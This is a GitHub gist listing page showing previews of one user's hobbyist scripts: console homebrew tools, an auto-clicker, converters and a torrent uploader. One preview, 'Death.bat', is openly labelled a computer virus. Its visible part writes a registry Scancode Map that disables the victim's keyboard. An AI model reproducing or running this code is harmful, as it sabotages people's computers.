Skip to content

Instantly share code, notes, and snippets.

View iGlitch's full-sized avatar
🏠

Glitch iGlitch

🏠
View GitHub Profile
@iGlitch
iGlitch / switch.md
Created September 25, 2017 07:25
Nintendo Switch Homebrew Compilation Tutorial

Notice: The below instructions were written on 9/22/17 and refer to an alpha build of devkitA64, libnx, and Mephisto. Take it with a grain of salt if the date has moved too far into the future since then.

Using libnx and compiling your first homebrew app for the Nintendo Switch

Requirements

@iGlitch
iGlitch / n2o3ds.py
Created September 15, 2017 01:07
Patch New 3DS exclusives to work with Old 3DS
'''
n2o3ds by Glitch
convert new3ds exclusives to old3ds titles (perhaps)
run this on an extracted and decrypted main cxi
then rebuild the cia with:
makerom -f cia -o game.cia -target t -i 0.cxi:0:0
you might need to use an older makerom as the newer ones tend to throw a -10 error
don't take this too seriously, most likely the games that work on old3ds are simplistic and sucky XD
'''
@iGlitch
iGlitch / click.cpp
Created September 13, 2017 15:23
Ugly yet Fast Auto Clicker
#undef UNICODE
#undef _UNICODE
#include "Windows.h"
#include <string>
#include <vector>
using namespace std;
HWND hWnd;
HWND button;
HWND outputWindow;
@iGlitch
iGlitch / Death.bat
Created September 13, 2017 13:34
Computer Virus
::__---Virus Created By Glitch---__::
@echo off
::------Disable Keyboard-----::
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\ >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\ >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\ >> "nokeyboard.reg"
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\ >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\ >> "nokeyboard.reg"
@iGlitch
iGlitch / bymal.py
Created August 29, 2017 22:34
Convert Switch .byaml to .xml
import sys, os, io, struct, argparse
#import xml
def se(x):
y = x
l = len(x)
x = ""
c = 0
while c < l:
x = x + y[l-c-1]
@iGlitch
iGlitch / forge ticket.py
Created February 25, 2017 16:08
python script which will generate a title ticket given a title ID and a title key. Obviously the signature will be invalid, so you must install the title from within iosuhax.
import binascii
import sys
import os
if len(sys.argv) != 3:
print("usage: %s titleid titlekey" % sys.argv[0])
sys.exit()
f = open("title.tik", "wb")
@iGlitch
iGlitch / Properties.cs
Created February 4, 2017 16:26
Edit .properties files
/**
Property P = new Property();
P.setFileRoute(ROUTE); --add the path to file
P.setProperty(VALUE, KEY); --add a property value/name and its value to the file, or if it doesn´t exist, it´ll create a new one with these elements.
P.getPropertyValue(LINE); --get the value or the key of a line chosen from the file
P.getPropertyKey(LINE);
**/
using System;
using System.IO;
@iGlitch
iGlitch / nyaa.py
Created October 26, 2016 10:53
nyaa torrent uploader
#!/usr/bin/env python3
import cfscrape, os ,sys, subprocess, argparse, re
from configparser import SafeConfigParser
config = SafeConfigParser()
config_file = os.path.expanduser("~") + '/.nyaa_uploader.ini'
config.read(config_file)
if not os.path.isfile(config_file):
print('Config file doesn\'t exist creating one now.')
@iGlitch
iGlitch / mpvprogressbar.lua
Created July 6, 2015 01:06
MPV Minimal Progress Bar
local msg = require('mp.msg')
local bar_height = 2
local hover_zone = 20
local log = {
debug = function(format, ...)
return msg.debug(format:format(...))
end,
info = function(format, ...)
return msg.info(format:format(...))
end,
@iGlitch
iGlitch / keybase.md
Last active January 18, 2016 04:35
keybase.md

Keybase proof

I hereby claim:

  • I am iGlitch on github.
  • I am iglitch (https://keybase.io/iglitch) on keybase.
  • I have a public key whose fingerprint is AABA A917 5FA3 81DA E469 625C 9D3A 15CB 1F73 1E87

To claim this, I am signing this object: